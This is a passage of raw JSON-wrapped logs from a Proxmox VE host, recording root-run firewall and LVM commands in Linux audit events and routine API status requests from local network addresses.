euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015435,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.435:68066): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965755171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.171:66966): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0f40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015532,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.532:68083): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6413a8003740 items=0 ppid=1156 pid=65379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=EXECVE msg=audit(1781964399.225:60860): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965208033,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964424311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.311:60953): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965101.781:64168): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015426,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.426:68065): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965755165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.165:66965): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b4f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.528:68082): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14a7a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964399217,"@rawstring":"node=pve type=EXECVE msg=audit(1781964399.217:60857): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965206931,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.305:60951): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965101.780:64167): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015100,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.100:68064): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965755158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.158:66964): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae45e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.522:68081): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395591,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.591:60854): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965206931,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 893"} {"@timestamp":1781964424305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964424.305:60950): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965096772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965096.772:64165): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015093,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.093:68061): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965755151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.151:66963): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64316 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.514:68080): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ffc00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.587:60853): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965205820,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964419292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964419.292:60946): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965096772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965096.772:64164): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966014505,"@rawstring":"node=pve type=EXECVE msg=audit(1781966014.505:68058): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965755142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.142:66962): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.509:68079): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fc0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395587,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.587:60852): argc=1 a0=\"date\""} {"@timestamp":1781965205820,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964419292,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964419.292:60945): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965096765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965096.765:64162): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966014472,"@rawstring":"node=pve type=EXECVE msg=audit(1781966014.472:68057): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965755137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.137:66961): arch=c000003e syscall=59 success=yes exit=0 a0=564b69559e90 a1=564b69556c10 a2=564b69538680 a3=5 items=2 ppid=64308 pid=64314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.501:68078): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ffc00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.583:60850): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965205820,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 882"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964419.283:60943): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965096765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965096.765:64161): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010083,"@rawstring":"node=pve type=EXECVE msg=audit(1781966010.083:68056): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965755134,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.134:66960): arch=c000003e syscall=59 success=yes exit=0 a0=564b5a919ac8 a1=7ffd518ae3f0 a2=564b69538680 a3=564b5a8fd24e items=2 ppid=64308 pid=64310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.494:68077): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac1a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395577,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.577:60849): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965204735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964419.283:60942): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965095137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.137:64157): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd4acaf5e0 a1=591bdf66c1c0 a2=591bdf64a680 a3=5 items=1 ppid=61643 pid=61644 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010078,"@rawstring":"node=pve type=EXECVE msg=audit(1781966010.078:68053): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965755133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.133:66959): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd518ae3b0 a1=564b6953f310 a2=564b69538680 a3=5 items=2 ppid=64308 pid=64309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.485:68076): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395570,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.570:60848): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965204735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964415847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.847:60938): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd1c14af10 a1=5e72e1358310 a2=5e72e1351680 a3=5 items=1 ppid=58504 pid=58505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965095054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965095.054:64139): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe3e561c90 a1=59cd1a51f3d0 a2=59cd1a4fd680 a3=5 items=1 ppid=61624 pid=61625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005414,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.414:68050): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965755128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.128:66957): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.477:68075): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395564,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.564:60847): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965204735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781964415763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.763:60920): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd819aeda0 a1=63c28e11e310 a2=63c28e117680 a3=5 items=1 ppid=58485 pid=58486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005411,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.411:68049): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965755119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.119:66956): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.472:68074): arch=c000003e syscall=59 success=yes exit=0 a0=5c26eb1deb20 a1=5c26eb1eaa30 a2=5c26eb1b8680 a3=5 items=2 ppid=65365 pid=65371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395558,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.558:60846): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965203612,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.276:60910): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005410,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.410:68048): argc=1 a0=\"date\""} {"@timestamp":1781965755111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.111:66955): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.469:68073): arch=c000003e syscall=59 success=yes exit=0 a0=5c26e1ed1ac8 a1=7ffe6f6fbe20 a2=5c26eb1b8680 a3=5c26e1eb524e items=2 ppid=65365 pid=65367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395552,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.552:60844): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965203612,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.276:60909): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005405,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.405:68046): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965755103,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.103:66954): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.468:68072): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6f6fbde0 a1=5c26eb1da1c0 a2=5c26eb1b8680 a3=5 items=2 ppid=65365 pid=65366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395547,"@rawstring":"node=pve type=EXECVE msg=audit(1781964395.547:60843): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965202493,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.269:60907): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005397,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.397:68045): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965755095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.095:66953): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e60a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" 